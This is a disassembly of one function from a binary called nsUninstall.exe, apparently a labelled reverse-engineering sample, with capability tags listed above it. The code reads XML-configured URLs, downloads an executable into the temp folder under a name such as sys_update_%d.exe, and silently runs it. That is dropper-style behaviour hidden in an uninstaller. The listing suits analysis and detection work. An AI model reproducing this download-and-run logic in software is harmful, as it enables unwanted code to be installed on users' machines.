Function at 0x43da00
Capabilities:
Create process on windows
Download url
Get common file path
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44707c
mov eax, dword fs:[0]
push eax
sub esp, 0xa60
mov eax, dword [0x45b080]
xor eax, ebp
mov dword [ebp - 0x1c], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0xa6c], ecx
push str.Setup
call sym.nsUninstall.exe_public:_static_class_CNsXml____cdecl_CNsXml::Instance_void_
mov ecx, eax
call sym.nsUninstall.exe_public:_int___thiscall_CNsXml::GetXmlNodeCount_wchar_t_const__
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], 0x800
lea esi, [ebp - 0x228]
call fcn.004057a0
mov dword [ebp - 4], 0
lea eax, [ebp - 0x224]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov dword [ebp - 0x14], 0
mov dword [ebp - 0xa30], 0
jmp 0x43da94
mov ecx, dword [ebp - 0xa30]
add ecx, 1
mov dword [ebp - 0xa30], ecx
mov edx, dword [ebp - 0xa30]
cmp edx, dword [ebp - 0x18]
jge 0x43dcd8
mov eax, dword [ebp - 0x10]
push eax
push 0
lea ecx, [ebp - 0xa2c]
push ecx
call fcn.00415590
add esp, 0xc
lea edx, [ebp - 0x14]
push edx
lea eax, [ebp - 0xa2c]
push eax
push str.CheckY
call sym.nsUninstall.exe_public:_static_class_CNsXml____cdecl_CNsXml::Instance_void_
mov ecx, eax
call sym.nsUninstall.exe_public:_int___thiscall_CNsXml::GetXmlNodeValue_wchar_t_const___wchar_t___int__
lea ecx, [ebp - 0xa2c]
push ecx
call sym.nsUninstall.exe_int___cdecl_CheckInstalled_wchar_t_const__
add esp, 4
test eax, eax
je 0x43dae9
jmp 0x43da85
mov edx, dword [ebp - 0x10]
push edx
push 0
lea eax, [ebp - 0xa2c]
push eax
call fcn.00415590
add esp, 0xc
lea ecx, [ebp - 0x14]
push ecx
lea edx, [ebp - 0xa2c]
push edx
push str.CheckN
call sym.nsUninstall.exe_public:_static_class_CNsXml____cdecl_CNsXml::Instance_void_
mov ecx, eax
call sym.nsUninstall.exe_public:_int___thiscall_CNsXml::GetXmlNodeValue_wchar_t_const___wchar_t___int__
lea eax, [ebp - 0xa2c]
push eax
call sym.nsUninstall.exe_int___cdecl_CheckInstalled_wchar_t_const__
add esp, 4
test eax, eax
je 0x43db32
jmp 0x43da85
mov ecx, dword [ebp - 0x10]
push ecx
push 0
lea edx, [ebp - 0xa2c]
push edx
call fcn.00415590
add esp, 0xc
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0xa2c]
push ecx
push str.WebPath
call sym.nsUninstall.exe_public:_static_class_CNsXml____cdecl_CNsXml::Instance_void_
mov ecx, eax
call sym.nsUninstall.exe_public:_int___thiscall_CNsXml::GetXmlNodeValue_wchar_t_const___wchar_t___int__
lea edx, [ebp - 0xa38]
push edx
lea ecx, [ebp - 0xa2c]
call fcn.004057c0
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0x10]
push eax
push 0
lea ecx, [ebp - 0xa2c]
push ecx
call fcn.00415590
add esp, 0xc
lea edx, [ebp - 0x14]
push edx
lea eax, [ebp - 0xa2c]
push eax
push str.SaveName
call sym.nsUninstall.exe_public:_static_class_CNsXml____cdecl_CNsXml::Instance_void_
mov ecx, eax
call sym.nsUninstall.exe_public:_int___thiscall_CNsXml::GetXmlNodeValue_wchar_t_const___wchar_t___int__
lea ecx, [ebp - 0xa2c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jle 0x43dbde
lea edx, [ebp - 0xa2c]
push edx
lea eax, [ebp - 0x224]
push eax
push str._s_s
lea edi, [ebp - 0x228]
call fcn.00405f90
add esp, 0xc
jmp 0x43dbff
mov ecx, dword [ebp - 0xa30]
push ecx
lea edx, [ebp - 0x224]
push edx
push str._s_sys_update__d.exe
lea edi, [ebp - 0x228]
call fcn.00405f90
add esp, 0xc
push 0x451228
push 0x45122c
lea ecx, [ebp - 0x228]
call fcn.0040e4b0
push 0
push 0
lea eax, [ebp - 0x228]
call fcn.004059d0
push eax
lea eax, [ebp - 0xa38]
call fcn.004059d0
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov dword [ebp - 0xa34], eax
cmp dword [ebp - 0xa34], 0
jne 0x43dcc4
mov eax, dword [ebp - 0x10]
push eax
push 0
lea ecx, [ebp - 0xa2c]
push ecx
call fcn.00415590
add esp, 0xc
lea edx, [ebp - 0x14]
push edx
lea eax, [ebp - 0xa2c]
push eax
push str.Params
call sym.nsUninstall.exe_public:_static_class_CNsXml____cdecl_CNsXml::Instance_void_
mov ecx, eax
call sym.nsUninstall.exe_public:_int___thiscall_CNsXml::GetXmlNodeValue_wchar_t_const___wchar_t___int__
lea ecx, [ebp - 0xa2c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jle 0x43dcaa
push 5
push 0
lea edx, [ebp - 0xa2c]
push edx
lea eax, [ebp - 0x228]
call fcn.004059d0
push eax
call sym.nsUninstall.exe_int___cdecl_DoRun_wchar_t_const___wchar_t_const___int__int_
add esp, 0x10
jmp 0x43dcc4
push 5
push 0
push 0
lea eax, [ebp - 0x228]
call fcn.004059d0
push eax
call sym.nsUninstall.exe_int___cdecl_DoRun_wchar_t_const___wchar_t_const___int__int_
add esp, 0x10
mov byte [ebp - 4], 0
lea eax, [ebp - 0xa38]
call fcn.004059b0
jmp 0x43da85
mov eax, dword [ebp - 0x10]
push eax
push 0
lea ecx, [ebp - 0xa2c]
push ecx
call fcn.00415590
add esp, 0xc
lea edx, [ebp - 0xa2c]
push edx
push str.showmsg
call sym.nsUninstall.exe_public:_static_class_CNsXml____cdecl_CNsXml::Instance_void_
mov ecx, eax
call sym.nsUninstall.exe_public:_int___thiscall_CNsXml::GetXmlNodeValue_wchar_t_const___wchar_t__
lea eax, [ebp - 0xa2c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jle 0x43dd85
lea ecx, [ebp - 0xa3c]
push ecx
lea ecx, [ebp - 0xa2c]
call fcn.004057c0
mov byte [ebp - 4], 2
mov edx, dword [ebp - 0x10]
push edx
push 0
lea eax, [ebp - 0xa2c]
push eax
call fcn.00415590
add esp, 0xc
lea ecx, [ebp - 0xa2c]
push ecx
push str.showtitle
call sym.nsUninstall.exe_public:_static_class_CNsXml____cdecl_CNsXml::Instance_void_
mov ecx, eax
call sym.nsUninstall.exe_public:_int___thiscall_CNsXml::GetXmlNodeValue_wchar_t_const___wchar_t__
push 0
lea edx, [ebp - 0xa2c]
push edx
lea eax, [ebp - 0xa3c]
call fcn.004059d0
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
mov byte [ebp - 4], 0
lea eax, [ebp - 0xa3c]
call fcn.004059b0
mov eax, dword [ebp - 0x10]
push eax
push 0
lea ecx, [ebp - 0xa2c]
push ecx
call fcn.00415590
add esp, 0xc
lea edx, [ebp - 0xa2c]
push edx
push str.showurl
call sym.nsUninstall.exe_public:_static_class_CNsXml____cdecl_CNsXml::Instance_void_
mov ecx, eax
call sym.nsUninstall.exe_public:_int___thiscall_CNsXml::GetXmlNodeValue_wchar_t_const___wchar_t__
lea eax, [ebp - 0xa2c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jle 0x43dddd
push 5
push 0
push 0
lea ecx, [ebp - 0xa2c]
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x228]
call fcn.004059b0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.004144ca
mov esp, ebp
pop ebp
ret